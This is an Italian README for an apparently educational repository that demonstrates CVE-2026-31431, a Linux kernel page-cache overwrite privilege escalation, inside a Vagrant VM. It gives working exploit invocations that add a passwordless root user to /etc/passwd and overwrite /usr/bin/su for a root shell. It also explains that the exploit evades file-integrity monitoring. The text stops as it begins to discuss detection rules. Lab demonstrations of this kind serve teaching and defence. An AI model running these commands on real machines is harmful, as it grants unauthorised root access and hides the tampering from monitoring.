
Una demo e spiegazione di CVE-2026-31431
Una dimostrazione e spiegazione di CVE-2026-31431, la vulnerabilità di Linux Kernel Copy Fail Local Privilege Escalation. La vulnerabilità consente di sovrascrivere i dati nella page cache di file aperti con permessi di lettura.
Questo repository è solo a scopo educativo e illustra la vulnerabilità in un ambiente controllato. I file inclusi sono:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
La vulnerabilità, denominata Copy Fail, è presente nei kernel Linux dal 2017 al 2026 a causa di un difetto logico in algif_aead. Le è stato assegnato CVE-2026-31431 con un punteggio CVSS di 7.8, che comporta una valutazione di gravità alta. L'exploit è deterministico e può aggirare i tradizionali strumenti di monitoraggio dell'integrità dei file.
Sono state pubblicate proof of concept in vari linguaggi, tra cui C, Python e Go, ma per questa dimostrazione viene utilizzato Python e richiede la versione 3.10 o superiore. Questo exploit richiede l'esecuzione locale di codice come utente non privilegiato e può essere utilizzato per l'escalation locale dei privilegi.
Le sezioni seguenti sono:
Assicurati di avere Vagrant e QEMU installati. Poi, clona questo repository e naviga nella directory del progetto.
vagrant up
vagrant ssh
All'interno della VM, possiamo testare i limiti delle nostre capacità.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
Siamo ovviamente limitati nelle nostre capacità, ma possiamo usare la vulnerabilità per escalare i privilegi.
Per comprendere la vulnerabilità, sovrascriviamo un file fittizio e vediamo cosa succede.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Abbiamo un file con tre righe. La prima riga è di 6 byte (newline incluso), la seconda riga è di 2 byte, e la terza riga è di un singolo byte. Questo è importante perché l'exploit sovrascrive i dati in blocchi di 4 byte, e noi riempiamo il payload per completarlo.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Possiamo vedere che abbiamo sostituito i primi 8 byte del file con il nostro payload. Ci sono due caratteri presenti ma non stampabili. Apri il file in nano per verificare.
Ma questo non è molto eccitante, quindi passiamo a scrivere in file per i quali non abbiamo permessi di scrittura.
Possiamo sovrascrivere il contenuto di /etc/passwd per aggiungere un utente con privilegi di root ma senza password.
cat /etc/passwd
La prima riga contiene l'utente root e contiene 8 gruppi di 4 caratteri (incluso il newline). È formattata come segue root:x:0:0:root:/root:/bin/bash, e i valori si riferiscono a username, password, UID, GID, home directory, shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Abbiamo aggiunto un nuovo utente hackd con UID 0 e GID 0, il che significa che ha privilegi di root. Il campo password è vuoto, quindi possiamo accedere senza password.
su hackd
id
cat /etc/shadow
Nell'exploit originale, il binario /usr/bin/su viene sovrascritto con istruzioni per eseguire una shell, consentendo all'attaccante di ottenere privilegi di root quando esegue su. Possiamo ricreare questo exploit prendendo di mira /usr/bin/su con il payload originale da un file.
Nota che questo distrugge il binario su in questa page cache.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Con il payload in posizione, possiamo eseguire su e ottenere privilegi di root. Questo apre una shell con user id 0, che tipicamente è l'utente root, ma se la demo precedente è stata eseguita, sarebbe l'utente hackd che abbiamo creato. Questo exploit aprirebbe una shell anche se l'utente root ha una password.
su
id
Questo exploit non modifica il file su disco, ma piuttosto lo stato della page-cache. Di conseguenza, i tradizionali strumenti di monitoraggio dell'integrità dei file che controllano le modifiche ai file su disco non rilevano questo exploit.
Per dimostrarlo, esegui l'exploit (o gli exploit) sopra e poi, dopo un riavvio della VM, controlla il contenuto del file di destinazione.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
Le regole di rilevamento sono condivise in repository GitHub della community che tentano di rilevare indicatori di rete o pattern di script noti. Queste regole di rilevamento si basano su artefatti PoC pubblici, payload noti, frammenti di codice e URL.
Ad esempio, quanto segue rileverebbe specifici frammenti di codice relativi a PoC o payload codificati: